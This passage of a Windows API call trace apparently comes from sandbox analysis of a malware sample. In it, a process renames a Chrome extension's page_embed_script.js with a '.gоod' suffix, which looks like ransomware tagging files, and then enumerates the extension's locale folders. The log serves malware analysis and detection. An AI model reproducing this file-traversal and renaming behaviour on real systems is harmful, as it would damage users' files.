"c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), fInfoLevelId=0x0, lpFileInformation=0x209ed210 | out: lpFileInformation=0x209ed210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88047bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8806d52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x84301a98, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0228.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed0f0) returned 1 [0228.134] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.gоod")) returned 1 [0228.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ec990) returned 1 [0228.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales", nBufferLength=0x105, lpBuffer=0x209ec430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales", lpFilePart=0x0) returned 0x78 [0228.136] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\*", lpFindFileData=0x209ec6b0 | out: lpFindFileData=0x209ec6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8279eee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d134c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d134c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0228.761] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8279eee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d134c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d134c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.762] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe827ed1a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b3f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8283b3f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1 [0228.762] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829259d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82973c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1 [0228.762] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829c1de, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e26, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82a5e26, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0228.763] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82ad358, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa67, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82afa67, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="az", cAlternateFileName="")) returned 1 [0228.763] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82b6f8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82b96a9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82b96a9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0228.763] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82cf641, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d4479, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82d4479, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1 [0228.763] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82db992, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e07b4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82e07b4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0228.763] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82e7ce6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef21b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82ef21b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0228.763] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82f8e1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe830037f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe830037f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0228.764] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83114cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe831ff69, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe831ff69, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0228.764] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe832e9a1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83385fe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83385fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0228.764] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8355ac3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6df, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe835f6df, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0228.764] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8372f77, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe837f2eb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe837f2eb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0228.764] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe839526d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839eec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe839eec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0228.764] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83b0041, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83bea73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83bea73, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0228.764] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83d2325, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d7144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83d7144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0228.765] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83ed0a8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6d0b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83f6d0b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0228.765] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8407e91, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841900b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe841900b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0228.765] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe842c878, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84316cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84316cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0228.765] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8449d3c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c461, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe844c461, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0228.765] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8469926, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8470e5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8470e5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0228.765] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe848e306, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8493144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8493144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_CA", cAlternateFileName="")) returned 1 [0228.765] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe849cd83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a42bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84a42bb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0228.766] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84b7b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8cb7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84c8cb7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0228.766] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84d9e2e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e1327, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84e1327, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0228.766] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84f24cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7304, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84f7304, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0228.766] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84fe7ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe850363d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe850363d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0228.766] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe851bce8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520b0d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8520b0d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy", cAlternateFileName="")) returned 1 [0228.766] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85406eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545507, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8545507, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0228.767] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8558d8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dbac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe855dbac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is", cAlternateFileName="")) returned 1 [0228.767] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85650da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85677ed, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85677ed, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0228.767] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe856ed1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573b41, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8573b41, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1 [0228.767] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe857b070, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fe95, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe857fe95, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0228.767] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85873c7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e8f6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe858e8f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ka", cAlternateFileName="")) returned 1 [0228.767] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8595e28, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a4892, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85a4892, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km", cAlternateFileName="")) returned 1 [0228.767] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85b59fc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85ba821, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85ba821, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0228.768] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85c1d53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6b72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85c6b72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0228.768] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85ce0a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85d2ebd, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lo", cAlternateFileName="")) returned 1 [0228.768] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85da3f8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1930, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85e1930, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0228.769] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85e8e5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85eb5c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85eb5c9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0228.769] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86014fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608a39, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8608a39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1 [0228.769] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861749a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8619ba9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8619ba9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mn", cAlternateFileName="")) returned 1 [0228.769] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86237ee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ad20, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe862ad20, 